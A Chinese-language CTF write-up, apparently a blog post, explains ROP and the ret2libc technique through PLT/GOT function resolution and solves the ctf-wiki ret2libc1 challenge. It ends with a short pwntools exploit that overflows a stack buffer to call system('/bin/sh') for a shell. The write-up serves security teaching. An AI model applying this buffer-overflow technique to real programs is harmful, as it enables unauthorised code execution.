浅谈ROP-ret2libc原理-题目源于[ctfwiki]

原创最新推荐文章于 2026-04-19 09:02:39 发布 1.8k 阅读 AI写同款

收录于

pwn

ROP

p0int3r

码龄7年墨衍会员 · AI 创作全网分发

11粉丝10篇原创

关注

c++ 动态库虚表问题导致的不兼容问题实例 c++动态库在abi兼容方面臭名昭著，这里结合一个线上模块使用动态库导致出core的问题总结下动态库、虚函数表等知识，这里将线上遇到的问题抽象出一个极简的例子，三个文件include.h, main.cpp, func.cpp ，先上源码 include.h: class Base { public: void virtual func1() = 0; }; class Wrapper { public: Base *b; }; extern void jj(Wrapper *); 阅读详情

AI摘要

博客围绕安全技术展开，介绍了ROP利用程序已有小片段控制程序执行流程，还讲解了静态链接和动态链接。以printf函数为例，说明了plt表和got表查找函数真实地址的过程。此外，对ret2libc1题目进行解析，包括checksec、在ida中查找信息、求偏移量等，后续将继续编写exp。

rop：在栈缓冲区溢出的基础上，利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值，从而控制程序的执行流程。–[ctfwiki]
传送门
之前提到的ret2syscall，提到了静态链接，而libc主要利用了动态链接。

0x01

知识点：
简单来说，静态链接就是直接在原有的基础之上进行访问，而动态链接就是直接放上一个链接来访问。
1.plt表和got表
在这里插入图片描述
拿一个c语言编写的printf函数为例，当调用printf函数时，先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址，got表指向glibc中的地址。

当第一次调用函数时，过程为：plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->找到函数地址。其中，_dl_runtime_resolve函数作用为查找函数地址并返回给got表。

当第二次调用时，过程为：plt->got->直接获取函数地址，因为此时got表已经记录函数地址。

0x02

0x01,ret2libc1
题目解析：首先checksec一下：
在这里插入图片描述
放到ida中:发现有system函数的plt表，以及binsh关键字：

在这里插入图片描述
此时，求偏移量：

我们就可以利用以上地址编写exp：

from pwn import *

sh = process('./ret2libc1')
#sh=remote(" ",)
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
#flat函数，相当于p32()/p64()函数，‘b’*4表示返回地址，可以随便填写
sh.sendline(payload)

sh.interactive()